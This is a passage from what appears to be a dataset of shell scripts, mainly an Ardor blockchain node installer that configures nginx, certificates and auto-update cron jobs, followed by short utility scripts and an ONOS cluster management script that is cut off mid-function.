\"$RELEASEMAIN\" == \"no\" ]; then\n INSTALL_MAINNET_NODE=false\nelse\n echo \"$RELEASEMAIN is not valid, please check and re-execute\"\n exit 2;\nfi\nif [ \"$INSTALL_MAINNET_NODE\" == true ]; then\n NXT_MAINNET_PROPERTIES_FILE_CONTENT=\"\n nxt.adminPassword=${MAINNET_ADMIN_PASSWORD}\n nxt.enablePeerUPnP=false\n nxt.apiServerEnforcePOST=true\n $(if [ ${SETUP_OPENAPI_MAINNET} == true ]; then\n echo nxt.apiServerHost=0.0.0.0\n echo nxt.allowedBotHosts=*\n fi)\n $(if [ ${SETUP_DOMAIN_MAINNET} == true ]; then\n echo \"nxt.myAddress=${MAINNET_DOMAIN}\"\n fi)\n $(if [ ${IS_ARCHIVAL_MAINNET_NODE} == true ]; then\n echo \"nxt.maxPrunableLifetime=-1\"\n echo \"nxt.includeExpiredPrunable=true\"\n fi)\n\n ## Contract Runnner Configuration ##\n ## see https://ardordocs.jelurida.com/Lightweight_Contracts for detailed informations ##\n # nxt.addOns=nxt.addons.ContractRunner\n # addon.contractRunner.secretPhrase=\n # addon.contractRunner.feeRateNQTPerFXT.IGNIS=250000000\n \"\n NGINX_MAINNET_GATEWAY_CONFIGURATION_FILE_CONTENT=\"\n server {\n listen 80;\n\n server_name ${MAINNET_DOMAIN};\n\n location / {\n proxy_bind 127.0.0.1;\n proxy_set_header Host \\$host;\n proxy_pass http://127.0.0.1:27876/;\n }\n }\n \"\nfi\n\n[ \"${RELEASETEST:-}\" ] || read -r -p \"Would you like to install a testnet node? (Default $RELEASETESTDEFAULT): \" RELEASETEST\nRELEASETEST=${RELEASETEST:-$RELEASETESTDEFAULT}\nif [ \"$RELEASETEST\" == \"yes\" ]; then\n INSTALL_TESTNET_NODE=true\n read -r -p \"Please enter an Admin Password for this node: \" TESTNET_ADMIN_PASSWORD\n [ \"${OPENAPITEST:-}\" ] || read -r -p \"Do you want this testnet node to have an open API? (Default $OPENAPIDEFAULT): \" OPENAPITEST\n OPENAPITEST=${OPENAPITEST:-$OPENAPIDEFAULT}\n if [ \"$OPENAPITEST\" == \"yes\" ]; then\n SETUP_OPENAPI_TESTNET=true\n\n [ \"${HAVEDOMAINTEST:-}\" ] || read -r -p \"Do you have a domain name for this testnet node? (Default $HAVEDOMAINDEFAULT): \" HAVEDOMAINTEST\n HAVEDOMAINTEST=${HAVEDOMAINTEST:-$HAVEDOMAINDEFAULT}\n if [ \"$HAVEDOMAINTEST\" == \"yes\" ]; then\n read -r -p \"Please enter the domain name: \" TESTNET_DOMAIN\n SETUP_DOMAIN_TESTNET=true\n ENABLE_LETSENCRYPT=true\n fi\n \n elif [ \"$OPENAPITEST\" == \"no\" ]; then\n SETUP_OPENAPI_TESTNET=false\n else\n echo \"$OPENAPITEST is not valid, please check and re-execute\"\n exit 2;\n fi\n [ \"${ARCHIVALTEST:-}\" ] || read -r -p \"Do you want this testnet node to be an archival node? (Default $ARCHIVALDEFAULT): \" ARCHIVALTEST\n ARCHIVALTEST=${ARCHIVALTEST:-$ARCHIVALDEFAULT}\n if [ \"$ARCHIVALTEST\" == \"yes\" ]; then\n IS_ARCHIVAL_TESTNET_NODE=true \n fi\nelif [ \"$RELEASETEST\" == \"no\" ]; then\n INSTALL_TESTNET_NODE=false\nelse\n echo \"$RELEASETEST is not valid, please check and re-execute\"\n exit 2;\nfi\nif [ \"$INSTALL_TESTNET_NODE\" == true ]; then\n NXT_TESTNET_PROPERTIES_FILE_CONTENT=\"\n nxt.isTestnet=true\n nxt.adminPassword=${TESTNET_ADMIN_PASSWORD}\n nxt.enablePeerUPnP=false\n nxt.apiServerEnforcePOST=true\n $(if [ ${SETUP_OPENAPI_TESTNET} == true ]; then\n echo nxt.apiServerHost=0.0.0.0\n echo nxt.allowedBotHosts=*\n fi)\n $(if [ ${SETUP_DOMAIN_TESTNET} == true ]; then\n echo \"nxt.myAddress=${TESTNET_DOMAIN}\"\n fi)\n $(if [ ${IS_ARCHIVAL_TESTNET_NODE} == true ]; then\n echo \"nxt.maxPrunableLifetime=-1\"\n echo \"nxt.includeExpiredPrunable=true\"\n fi)\n\n ## Contract Runnner Configuration ##\n ## see https://ardordocs.jelurida.com/Lightweight_Contracts for detailed informations ##\n # nxt.addOns=nxt.addons.ContractRunner\n # addon.contractRunner.secretPhrase=\n # addon.contractRunner.feeRateNQTPerFXT.IGNIS=250000000\n \"\n NGINX_TESTNET_GATEWAY_CONFIGURATION_FILE_CONTENT=\"\n server {\n listen 80;\n\n server_name ${TESTNET_DOMAIN};\n\n location / {\n proxy_bind 127.0.0.1;\n proxy_set_header Host \\$host;\n proxy_pass http://127.0.0.1:26876/;\n }\n }\n \"\nfi\n\nUPDATE_ARDOR_NODES_SCRIPT_CONTENT=\"\n#!/bin/bash\n\n###################################################################################################\n# CONFIGURATION\n###################################################################################################\n\nUPDATE_MAINNET_NODE=${INSTALL_MAINNET_NODE}\nUPDATE_TESTNET_NODE=${INSTALL_TESTNET_NODE}\n\n\n###################################################################################################\n# MAIN\n###################################################################################################\n\n###\n# Only check for new stable releases to mainnet for both mainnet and testnet nodes\n###\ndate +\\\"%Y-%m-%d %H:%M:%S || [INFO] Checking for new ardor release\\\"\nALIAS_VERSION=\\$(curl --connect-timeout 2 --retry 2 --retry-delay 0 --retry-max-time 2 -s -S \\\"http://127.0.0.1:27876/nxt?requestType=getAlias&aliasName=nrsVersion&chain=2\\\")\nREMOTE_VERSION=\\$( echo \\${ALIAS_VERSION} | jq '.aliasURI' | sed -e 's/^\\\"//' -e 's/\\\"$//' | head -n1 | awk '{print \\$1;}')\n\nBLOCKCHAIN_VERSION=\\$(curl --connect-timeout 2 --retry 2 --retry-delay 0 --retry-max-time 2 -s -S \\\"http://127.0.0.1:27876/nxt?requestType=getBlockchainStatus\\\")\nLOCAL_VERSION=\\$( echo \\${BLOCKCHAIN_VERSION} | jq '.version' | sed -e 's/^\\\"//' -e 's/\\\"$//')\n\nif [ -z \\${REMOTE_VERSION} ] || [ -z \\${LOCAL_VERSION} ]; then\n echo \\\"[WARNING] Failed to check ardor versions\\\"\n exit 1\nfi\n\nif [ \\${REMOTE_VERSION} != \\${LOCAL_VERSION} ]; then\n\n echo \\\"[INFO] downloading new ardor release ...\\\"\n wget https://www.jelurida.com/ardor-client.zip -q --show-progress\n wget https://www.jelurida.com/ardor-client.zip.asc -q --show-progress\n gpg --with-fingerprint --verify ardor-client.zip.asc ardor-client.zip\n\n echo \\\"\\\" && echo \\\"[INFO] unzipping new ardor release ...\\\"\n unzip -qq ardor-client.zip\n\n\n if [ \\${UPDATE_MAINNET_NODE} == true ]; then\n\n echo \\\"\\\" && echo \\\"[INFO] stopping ardor mainnet service ...\\\"\n sudo systemctl stop ${ARDOR_MAINNET_SERVICE}.service\n\n\n echo \\\"\\\" && echo \\\"[INFO] installing new ardor release ...\\\"\n mkdir ardor-mainnet-update\n\n mv ./${ARDOR_MAINNET_FOLDER}/conf/nxt.properties ./ardor-mainnet-update/nxt.properties\n sudo mv ./${ARDOR_MAINNET_FOLDER}/nxt_db/ ./ardor-mainnet-update/nxt_db/\n\n rm -rf ./${ARDOR_MAINNET_FOLDER}/\n cp -r ./ardor ./${ARDOR_MAINNET_FOLDER}\n\n mv ./ardor-mainnet-update/nxt.properties ./${ARDOR_MAINNET_FOLDER}/conf/nxt.properties\n sudo mv ./ardor-mainnet-update/nxt_db/ ./${ARDOR_MAINNET_FOLDER}/nxt_db/\n\n\n echo \\\"\\\" && echo \\\"[INFO] restarting ardor mainnet service ...\\\"\n sudo systemctl start ${ARDOR_MAINNET_SERVICE}.service\n fi\n\n\n if [ \\${UPDATE_TESTNET_NODE} == true ]; then\n\n echo \\\"\\\" && echo \\\"[INFO] stopping ardor testnet service ...\\\"\n sudo systemctl stop ${ARDOR_TESTNET_SERVICE}.service\n\n\n echo \\\"\\\" && echo \\\"[INFO] installing new ardor release ...\\\"\n mkdir ardor-testnet-update\n\n mv ./${ARDOR_TESTNET_FOLDER}/conf/nxt.properties ./ardor-testnet-update/nxt.properties\n sudo mv ./${ARDOR_TESTNET_FOLDER}/nxt_test_db/ ./ardor-testnet-update/nxt_test_db/\n\n rm -rf ./${ARDOR_TESTNET_FOLDER}/\n cp -r ./ardor ./${ARDOR_TESTNET_FOLDER}\n\n mv ./ardor-testnet-update/nxt.properties ./${ARDOR_TESTNET_FOLDER}/conf/nxt.properties\n sudo mv ./ardor-testnet-update/nxt_test_db/ ./${ARDOR_TESTNET_FOLDER}/nxt_test_db/\n\n\n echo \\\"\\\" && echo \\\"[INFO] restarting ardor testnet service ...\\\"\n sudo systemctl start ${ARDOR_TESTNET_SERVICE}.service\n fi\n\n\n echo \\\"\\\" && echo \\\"[INFO] cleaning up ...\\\"\n rm -rf ./ardor-mainnet-update ./ardor-testnet-update\n rm -rf ardor ardor-client.zip ardor-client.zip.asc\n\n echo \\\"\\\" && echo \\\"[INFO] done. Ardor nodes updated\\\"\nelse\n echo \\\"\\\" && echo \\\"[INFO] No update available\\\"\nfi\n\"\n\nOPTIMIZE_ARDOR_NODES_SCRIPT_CONTENT=\"\n#!/bin/bash\n\n###################################################################################################\n# CONFIGURATION\n###################################################################################################\n\nOPTIMIZE_MAINNET_NODE=${INSTALL_MAINNET_NODE}\nOPTIMIZE_TESTNET_NODE=${INSTALL_TESTNET_NODE}\n\n\n###################################################################################################\n# MAIN\n###################################################################################################\n\ndate +\\\"%Y-%m-%d %H:%M:%S || [INFO] Starting Ardor Optimization\\\"\n\n\n if [ \\${OPTIMIZE_MAINNET_NODE} == true ]; then\n\n echo \\\"\\\" && echo \\\"[INFO] stopping ardor mainnet service ...\\\"\n sudo systemctl stop ${ARDOR_MAINNET_SERVICE}.service\n\n\n echo \\\"\\\" && echo \\\"[INFO] Optimizing mainnet node ...\\\"\n cd /home/${LOCAL_USER}/${ARDOR_MAINNET_FOLDER}\n /bin/bash compact.sh\n\n\n echo \\\"\\\" && echo \\\"[INFO] restarting ardor mainnet service ...\\\"\n sudo systemctl start ${ARDOR_MAINNET_SERVICE}.service\n fi\n\n\n if [ \\${OPTIMIZE_TESTNET_NODE} == true ]; then\n\n echo \\\"\\\" && echo \\\"[INFO] stopping ardor testnet service ...\\\"\n sudo systemctl stop ${ARDOR_TESTNET_SERVICE}.service\n\n\n echo \\\"\\\" && echo \\\"[INFO] Optimizing testnet node ...\\\"\n cd /home/${LOCAL_USER}/${ARDOR_TESTNET_FOLDER}\n /bin/bash compact.sh\n\n\n echo \\\"\\\" && echo \\\"[INFO] restarting ardor testnet service ...\\\"\n sudo systemctl start ${ARDOR_TESTNET_SERVICE}.service\n fi\n\n echo \\\"\\\" && echo \\\"[INFO] done. Ardor nodes optimized\\\"\n\"\n\necho \"[INFO] setting language variables to solve location problems ...\"\necho \"${PROFILE_LANGUAGE_VARIABLE}\" >> ~/.profile\nsource ~/.profile\n\n\necho \"\" && echo \"[INFO] updating system ...\"\nsudo apt update -q\n[ \"${DO_UPDATE:-}\" ] || read -r -p \"It is recommended that you run an OS update, would you like to do that now? (Default yes): \" DO_UPDATE\nDO_UPDATE=${DO_UPDATE:-yes}\nif [ \"$DO_UPDATE\" == \"yes\" ]; then\n sudo apt upgrade -y\nfi\n# sudo apt install unattended-upgrades -y\n# sudo unattended-upgrades --debug cat /var/log/unattended-upgrades/unattended-upgrades.log\n\n\necho \"\" && echo \"[INFO] installing unzip ...\"\nsudo apt-get install unzip -qq > /dev/null\n\necho \"\" && echo \"[INFO] installing script dependencies ...\"\nsudo apt-get install curl jq gpg -qq > /dev/null\n\n\nif [ -z \"$(grep -Ei 'VERSION_CODENAME=buster' /etc/*release)\" ]; then\n echo \"\" && echo \"[INFO] installing OpenJDK 8 ...\"\n sudo apt-get install openjdk-8-jre -qq > /dev/null\nelse ## Debian 10 does not have openjdk 8 available\n echo \"\" && echo \"[INFO] installing OpenJDK 11 ...\"\n sudo apt-get install openjdk-11-jre -qq > /dev/null\nfi\n\n\n# echo \"\" && echo \"[INFO] enabling unattended-upgrade ...\"\n# echo \"${UNATTENDED_UPGRADE_PERIODIC_CONFIG_FILE_CONTENT}\" | sudo tee /etc/apt/apt.conf.d/10periodic > /dev/null\n\n\nif [ ${SETUP_DOMAIN_MAINNET} == true ] || [ ${SETUP_DOMAIN_TESTNET} == true ]; then\n echo \"\" && echo \"[INFO] installing nginx ...\"\n sudo apt-get install nginx -qq > /dev/null\n sudo service nginx stop\n\n echo \"\" && echo \"[INFO] configuring nginx ...\"\n sudo sed -i -e \"s/# server_tokens off;/server_tokens off;/g\" /etc/nginx/nginx.conf\n sudo sed -i -e \"s/# server_names_hash_bucket_size 64;/server_names_hash_bucket_size 64;/g\" /etc/nginx/nginx.conf\n\n sudo rm /etc/nginx/sites-enabled/default\n\n if [ ${SETUP_DOMAIN_MAINNET} == true ]; then\n echo \"\" && echo \"[INFO] creating mainnet gateway ...\"\n echo \"${NGINX_MAINNET_GATEWAY_CONFIGURATION_FILE_CONTENT}\" | sudo tee /etc/nginx/conf.d/mainnet-gateway.conf > /dev/null\n fi\n\n if [ ${SETUP_DOMAIN_TESTNET} == true ]; then\n echo \"\" && echo \"[INFO] creating testnet gateway ...\"\n echo \"${NGINX_TESTNET_GATEWAY_CONFIGURATION_FILE_CONTENT}\" | sudo tee /etc/nginx/conf.d/testnet-gateway.conf > /dev/null\n fi\n\n sudo service nginx start\n\n if [ ${ENABLE_LETSENCRYPT} == true ]; then\n echo \"\" && echo \"[INFO] installing Let's Encrypt certbot ...\"\n sudo apt-get install software-properties-common -qq > /dev/null\n sudo add-apt-repository -y ppa:certbot/certbot\n sudo apt update\n sudo apt-get install python-certbot-nginx -qq\n fi\nfi\n\n\necho \"\" && echo \"[INFO] downloading ardor ...\"\ncd ~\nwget https://www.jelurida.com/ardor-client.zip -q --show-progress\nwget https://www.jelurida.com/ardor-client.zip.asc -q --show-progress\n\necho \"\" && echo \"[INFO] checking download signiture ...\"\nwget https://www.jelurida.com/sites/default/files/jelurida.gpg -q --show-progress\ngpg --import jelurida.gpg\nrm jelurida.gpg\ngpg --with-fingerprint --verify ardor-client.zip.asc ardor-client.zip\n\necho \"\" && echo \"[INFO] unzipping ardor ...\"\nunzip -qq ardor-client.zip\n\n\nif [ ${INSTALL_MAINNET_NODE} == true ]; then\n\n echo \"\" && echo \"[INFO] creating ardor mainnet folder ...\"\n cp -r ardor ${ARDOR_MAINNET_FOLDER}\n\n\n echo \"\" && echo \"[INFO] creating ardor mainnet configuration ...\"\n echo \"${NXT_MAINNET_PROPERTIES_FILE_CONTENT}\" > ${ARDOR_MAINNET_FOLDER}/conf/nxt.properties\n\n\n echo \"\" && echo \"[INFO] creating ardor mainnet service ...\"\n sudo mkdir -p /etc/systemd/system\n echo \"${ARDOR_MAINNET_SERVICE_FILE_CONTENT}\" | sudo tee /etc/systemd/system/${ARDOR_MAINNET_SERVICE}.service > /dev/null\n\n\n echo \"\" && echo \"[INFO] enabling ardor mainnet service ...\"\n sudo systemctl enable ${ARDOR_MAINNET_SERVICE}.service\n\n\n if [ ${DOWNLOAD_MAINNET_BLOCKCHAIN} == true ]; then\n\n echo \"\" && echo \"[INFO] downloading mainnet blockchain ...\"\n wget https://www.jelurida.com/Ardor-nxt_db.zip -q --show-progress\n\n echo \"\" && echo \"[INFO] unzipping mainnet blockchain ...\"\n unzip -qq Ardor-nxt_db.zip\n\n echo \"\" && echo \"[INFO] moving mainnet blockchain to ardor mainnet folder ...\"\n mv nxt_db/ ardor-mainnet/\n fi\nfi\n\n\nif [ ${INSTALL_TESTNET_NODE} == true ]; then\n\n echo \"\" && echo \"[INFO] creating ardor testnet folder ...\"\n cp -r ardor ${ARDOR_TESTNET_FOLDER}\n\n\n echo \"\" && echo \"[INFO] creating ardor testnet configuration ...\"\n echo \"${NXT_TESTNET_PROPERTIES_FILE_CONTENT}\" > ${ARDOR_TESTNET_FOLDER}/conf/nxt.properties\n\n\n echo \"\" && echo \"[INFO] creating ardor testnet service ...\"\n sudo mkdir -p /etc/systemd/system\n echo \"${ARDOR_TESTNET_SERVICE_FILE_CONTENT}\" | sudo tee /etc/systemd/system/${ARDOR_TESTNET_SERVICE}.service > /dev/null\n\n\n echo \"\" && echo \"[INFO] enabling ardor testnet service ...\"\n sudo systemctl enable ${ARDOR_TESTNET_SERVICE}.service\n\n\n if [ ${DOWNLOAD_TESTNET_BLOCKCHAIN} == true ]; then\n\n echo \"\" && echo \"[INFO] downloading testnet blockchain ...\"\n wget https://www.jelurida.com/Ardor-nxt_test_db.zip -q --show-progress\n\n echo \"\" && echo \"[INFO] unzipping testnet blockchain ...\"\n unzip -qq Ardor-nxt_test_db.zip\n\n echo \"\" && echo \"[INFO] moving testnet blockchain to ardor testnet folder ...\"\n mv nxt_test_db/ ardor-testnet/\n fi\nfi\n\n\nif [ ${ENABLE_LETSENCRYPT} == true ]; then\n\n MAINNET_DOMAIN_CMD=\"\"\n TESTNET_DOMAIN_CMD=\"\"\n \n if [ ${SETUP_DOMAIN_MAINNET} == true ]; then MAINNET_DOMAIN_CMD=\"-d ${MAINNET_DOMAIN}\"; fi\n if [ ${SETUP_DOMAIN_TESTNET} == true ]; then TESTNET_DOMAIN_CMD=\"-d ${TESTNET_DOMAIN}\"; fi\n\n echo \"\" && echo \"[INFO] requesting Let's Encrypt certificate(s) ...\"\n sudo service nginx start\n sudo certbot --nginx --agree-tos --register-unsafely-without-email --rsa-key-size 4096 --redirect ${MAINNET_DOMAIN_CMD} ${TESTNET_DOMAIN_CMD}\n\n echo \"\" && echo \"[INFO] creating renew certificate job ...\"\n echo \"${RENEW_CERTIFICATE_SCRIPT_CONTENT}\" > /home/${LOCAL_USER}/renew-certificate.sh\n sudo chmod 700 /home/${LOCAL_USER}/renew-certificate.sh\n (sudo crontab -l 2>> /dev/null; echo \"${LETSENCRYPT_RENEW_EVENT}\t/bin/bash /home/${LOCAL_USER}/renew-certificate.sh\") | sudo crontab -\n\n\nelif [ ${ENABLE_SELF_SIGNED_CERTIFICATE} == true ]; then\n\n if [ ${INSTALL_MAINNET_NODE} == true ]; then\n\n echo \"\" && echo \"[INFO] creating self signed certificate for mainnet ...\"\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj \"/CN=${MAINNET_DOMAIN}\"\n sudo mkdir -p /etc/nginx/ssl/mainnet\n sudo mv cert.pem /etc/nginx/ssl/mainnet\n sudo mv key.pem /etc/nginx/ssl/mainnet\n\n echo \"\" && echo \"[INFO] updating mainnet gateway ...\"\n sudo rm -f /etc/nginx/conf.d/mainnet-gateway.conf\n echo \"${NGINX_SELFSIGNED_MAINNET_GATEWAY_CONFIGURATION_FILE_CONTENT}\" | sudo tee /etc/nginx/conf.d/mainnet-gateway.conf > /dev/null\n fi\n\n\n if [ ${INSTALL_TESTNET_NODE} == true ]; then\n\n echo \"\" && echo \"[INFO] creating self signed certificate for testnet ...\"\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj \"/CN=${TESTNET_DOMAIN}\"\n sudo mkdir -p /etc/nginx/ssl/testnet\n sudo mv cert.pem /etc/nginx/ssl/testnet\n sudo mv key.pem /etc/nginx/ssl/testnet\n\n echo \"\" && echo \"[INFO] updating testnet gateway ...\"\n sudo rm -f /etc/nginx/conf.d/testnet-gateway.conf\n echo \"${NGINX_SELFSIGNED_TESTNET_GATEWAY_CONFIGURATION_FILE_CONTENT}\" | sudo tee /etc/nginx/conf.d/testnet-gateway.conf > /dev/null\n fi\n\nfi\n\n\necho \"\" && echo \"[INFO] creating update script ...\"\necho \"${UPDATE_ARDOR_NODES_SCRIPT_CONTENT}\" > /home/${LOCAL_USER}/update-nodes.sh\nsudo chmod 700 /home/${LOCAL_USER}/update-nodes.sh\n\n[ \"${AUTO_UPDATES:-}\" ] || read -r -p \"Would you like to enable automatic updates? (Default yes): \" AUTO_UPDATES\nAUTO_UPDATES=${AUTO_UPDATES:-yes}\nif [ \"$AUTO_UPDATES\" == \"yes\" ]; then\n (sudo crontab -l 2>> /dev/null; echo \"0 2 * * * /bin/bash /home/${LOCAL_USER}/update-nodes.sh >/dev/null 2>&1\") | sudo crontab -\nfi\n\necho \"\" && echo \"[INFO] creating optimize script ...\"\necho \"${OPTIMIZE_ARDOR_NODES_SCRIPT_CONTENT}\" > /home/${LOCAL_USER}/optimize-nodes.sh\nsudo chmod 700 /home/${LOCAL_USER}/optimize-nodes.sh\n\n[ \"${OPTIMIZE_NODES:-}\" ] || read -r -p \"Would you like to enable monthly optimization of node(s)? (Default yes): \" OPTIMIZE_NODES\nOPTIMIZE_NODES=${OPTIMIZE_NODES:-yes}\nif [ \"$OPTIMIZE_NODES\" == \"yes\" ]; then\n RANDOM_DAY=$((1 + RANDOM % 28))\n (sudo crontab -l 2>> /dev/null; echo \"0 0 $RANDOM_DAY * * /bin/bash /home/${LOCAL_USER}/optimize-nodes.sh >/dev/null 2>&1\") | sudo crontab -\nfi\n\necho \"\" && echo \"[INFO] cleaning up ...\"\nsudo apt autoremove -y\nrm -rf ardor install-ardor.sh *.zip *.zip.asc *.txt\n\n\necho \"\"\ndate +\"%Y-%m-%d %H:%M:%S || [INFO] Server ready to go.\"\necho \"[INFO] To update your node(s) manually you can run './update-nodes.sh',\"\necho \"[INFO] To run the contract runner, uncomment the parameter in /conf/nxt.properties\"\necho \"[INFO] and configure them properly.\"\necho \"[INFO] Press any key to continue and reboot the system\"\nread -n 1 -s\n\nif [ ${REBOOT} == true ]; then\n echo \"\" && echo \"[INFO] installation finished. Rebooting ...\"\n sudo reboot\nfi"} {"text": "caseyduquettesc/bash-static\n#!/bin/bash\n# generate changelog text\n\n# read version information\n. version.sh\n\n# and just output to NOTES.txt\necho \"bash ${bash_version}-$(printf '%03d' $bash_patch_level), with musl ${musl_version}\" > NOTES.txt"} {"text": "#!/usr/bin/env bash\n\nCOMMAND=\"python3 -m mybot\"\n#COMMAND='echo coucou; sleep 2; echo bisous'\n\nN=$1 # number of processes\n\nif [ \"$N\" = \"\" ]; then\n N=1\nfi\n\nfor i in $(seq ${N})\ndo\n eval \"$COMMAND\" &\n pids[${i}]=$! # we store the process id\ndone\n\nfor pid in ${pids[*]}; do\n wait $pid # we wait for every process to finish\ndone"} {"text": "afl-gcc -o ./test-instr1 ./test-instr.c\nafl-gcc -o ./test-instr2 ./test-instr.c\nafl-gcc -o ./test-instr3 ./test-instr.c\nafl-gcc -o ./test-instr4 ./test-instr.c\nscreen -dmS fuzzer1 /bin/bash -c \"afl-fuzz -i ./testcases -o ./outputs -j ./jsons/test1.json -S fuzzer1 -- ./test-instr1\"\nscreen -dmS fuzzer2 /bin/bash -c \"afl-fuzz -i ./testcases -o ./outputs -j ./jsons/test2.json -S fuzzer2 -- ./test-instr2\"\nscreen -dmS fuzzer3 /bin/bash -c \"afl-fuzz -i ./testcases -o ./outputs -j ./jsons/test3.json -S fuzzer3 -- ./test-instr3\"\nscreen -dmS fuzzer4 /bin/bash -c \"afl-fuzz -i ./testcases -o ./outputs -j ./jsons/test4.json -S fuzzer4 -- ./test-instr4\""} {"text": "alias gitconfig=\"${EDITOR} ~/.gitconfig\"\nalias hostsconfig=\"${EDITOR} /etc/hosts\"\nalias p10kconfig=\"${EDITOR} ~/.p10k.zsh\"\nalias sshconfig=\"${EDITOR} ~/.ssh/config\"\nalias zshconfig=\"${EDITOR} ~/.zshrc\""} {"text": "Markdown2PDF.sh0\n#!/bin/bash -eu\n\n# Pandoc を用いて Markdown から PDF を作成する\n# $1 入力ファイル\n# $2 出力ファイル(デフォルト値:'[input].pdf')\n\ninput=${GEDIT_CURRENT_DOCUMENT_NAME}\noutput=${2:-${input%.*}.pdf}\n\npandoc ${input} -o ${output} -V documentclass=ltjarticle --latex-engine=lualatex\nqpdfview --unique ${output}"} {"text": "#!/bin/bash\n\n#\n# Formats Java command line option to enable ALPN\n#\n# The script assumes that AppEngine specific environment variables are set.\n#\n# Usage example:\n# java $( /usr/local/alpn/format-env-appengine-vm.sh ) -cp ...\n#\n\nif [[ -n \"${ALPN_DISABLE}\" ]]; then\n >&2 echo \"ALPN_DISABLE is set, ALPN will not be loaded\"\n exit\nfi\n\nALPN_ROOT=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\nARGS=\"-Xbootclasspath/p:${ALPN_ROOT}/alpn-boot.jar\"\n\necho \"${ARGS}\""} {"text": "CASSANDRA_DIR='${HOME}/apache-cassandra-1.1.4'\nZK_DIR='${HOME}/zookeeper-3.4.5'\nONOS_DIR='${HOME}/ONOS'\n\nZK_LIB='/var/lib/zookeeper'\nCASSANDRA_LIB='/var/lib/cassandra'\n\nif [ x$CLUSTER == \"x\" ]; then\n echo \"CLUSTER is not set. Exitting.\"\n exit\nfi\nif [ x$ONOS_CLUSTER_BASENAME == \"x\" ]; then\n echo \"ONOS_CLUSTER_BASENAME is not set. Exitting\"\n exit\nfi\nif [ x$ONOS_CLUSTER_NR_NODES == \"x\" ]; then\n echo \"ONOS_CLUSTER_NR_NODES is not set. Exitting\"\n exit\nfi\n\nexport basename=$ONOS_CLUSTER_BASENAME\nexport nr_nodes=$ONOS_CLUSTER_NR_NODES\n\ncheckcluster () {\n dsh -g $basename 'uname -a'\n}\n\nzk () {\n case \"$1\" in\n start)\n echo \"Starting ZK..\"\n# dsh -g $basename \"$ZK_DIR/bin/zkServer.sh start\"\n dsh -g $basename 'cd ONOS; ./start-zk.sh start'\n while [ 1 ]; do\n# nup=`dsh -g $basename \"$ZK_DIR/bin/zkServer.sh status\" | grep \"Mode\" | egrep \"leader|follower\" | wc -l`\n nup=`dsh -g $basename \"cd ONOS; ./start-zk.sh status\" | grep \"Mode\" | egrep \"leader|follower|standalone\" | wc -l`\n echo \"check status\"\n if [ $nup == $nr_nodes ]; then\n echo \"everybody's up: $nup up of of $nr_nodes\"\n echo \"ZK started\"\n break;\n fi\n echo \"waiting for everybody's up: $nup up of of $nr_nodes\"\n sleep 1\n done\n ;;\n stop)\n echo \"Stopping ZK..\"\n dsh -g $basename \"$ZK_DIR/bin/zkServer.sh stop\"\n ;;\n status)\n echo \"Checking ZK Status\"\n dsh -g $basename \"$ZK_DIR/bin/zkServer.sh status\"\n ;;\n esac\n}\n\ncassandra () {\n case \"$1\" in\n start)\n echo \"Starting Cassandra..\"\n echo \" start cassandra at the seed node\"\n dsh -w ${basename}1 \"cd $ONOS_DIR; ./start-cassandra.sh start\"\n sleep 1\n echo \" start cassandra in rest nodes\"\n dsh -g ${basename} -x ${basename}1 \"cd $ONOS_DIR; ./start-cassandra.sh start\"\n while [ 1 ]; do\n echo $$\n dsh -w ${basename}1 \"cd $ONOS_DIR; ./start-cassandra.sh status\" > .cassandra_check.$$\n cat .cassandra_check.$$\n nup=`cat .cassandra_check.$$ | grep Normal |grep Up| wc -l`\n if [ $nup == $nr_nodes ]; then\n echo \"everybody's up: $nup up of of $nr_nodes\"\n echo \"Cassandra started\"\n break;\n fi\n echo \"waiting for everybody's up: $nup up of of $nr_nodes\"\n sleep 1\n done\n ;;\n bootup)\n echo \"Removing old Cassandra data and logs\"\n dsh -g ${basename} \"rm -rf /var/lib/cassandra/*\"\n dsh -g ${basename} \"rm -rf /var/log/cassandra/*\"\n\n echo \"Starting Cassandra nodes one by one...\"\n for (( c=1; c<=$nr_nodes; c++ ))\n do\n\techo \"Starting node ${basename}${c}\"\n\tdsh -g ${basename} -w ${basename}${c} \"cd $ONOS_DIR; ./start-cassandra.sh start\"\n\n\t#Wait until it's up\n\twhile [ 1 ]; do\n echo $$\n dsh -w ${basename}1 \"cd $ONOS_DIR; ./start-cassandra.sh status\" > .cassandra_check.$$\n cat .cassandra_check.$$\n nup=`cat .cassandra_check.$$ | grep Normal |grep Up| wc -l`\n if [ $nup == $c ]; then\n\t\techo \"New node up: $nup up of of $nr_nodes\"\n\t\tbreak;\n fi\n echo \"Waiting for new node to come up: $nup up of of $nr_nodes\"\n sleep 5\n\tdone\n done\n ;;\n stop)\n echo \"Stopping Cassandra..\"\n dsh -g ${basename} \"cd $ONOS_DIR; ./start-cassandra.sh stop\"\n ;;\n cleandb)\n echo \"Removing all data in db\"\n dsh -w ${basename}1 \"cd $ONOS_DIR; ./scripts/cleanup-cassandra.sh\"\n ;;\n checkdb)\n echo \"Check DB Status\"\n dsh -w ${basename}1 \"cd $ONOS_DIR; ./scripts/check-db-status.sh\"\n ;;\n status)\n echo \"Checking Cassandra Status\"\n dsh -w ${basename}1 \"cd $ONOS_DIR; ./start-cassandra.sh status\"\n ;;\n esac\n}\n\nonos () {\n case \"$1\" in\n start)\n if [ x$2 == \"x\" -o x$2 == \"xall\" ]; then\n echo \"Starting ONOS on all nodes\"\n dsh -w ${basename}1 \"cd $ONOS_DIR; ./start-onos.sh start\"\n sleep 3\n dsh -g ${basename} -x ${basename}1 \"cd $ONOS_DIR; ./start-onos.sh start\"\n dsh -g ${basename} \"cd $ONOS_DIR; ./start-rest.sh start\"\n else\n echo \"Starting ONOS on ${basename}$2\"\n dsh -w ${basename}$2 \"cd $ONOS_DIR; ./start-onos.sh start\"\n fi\n ;;\n stop)\n if [ x$2 == \"x\" -o x$2 == \"xall\" ]; then\n echo \"Stop ONOS on all nodes\"\n dsh -g ${basename} \"cd $ONOS_DIR; ./start-onos.sh stop\"\n else\n echo \"Stop ONOS on ${basename}$2\"\n dsh -w ${basename}$2 \"cd $ONOS_DIR; ./start-onos.sh stop\"\n fi\n ;;\n status)\n echo \"Checking ONOS Status\"\n dsh -g ${basename} \"cd $ONOS_DIR; ./start-onos.sh status\"\n ;;\n esac\n}\nswitch () {\n case \"$1\" in\n local)\n if [ x$2 == \"x\" -o x$2 == \"xall\" ]; 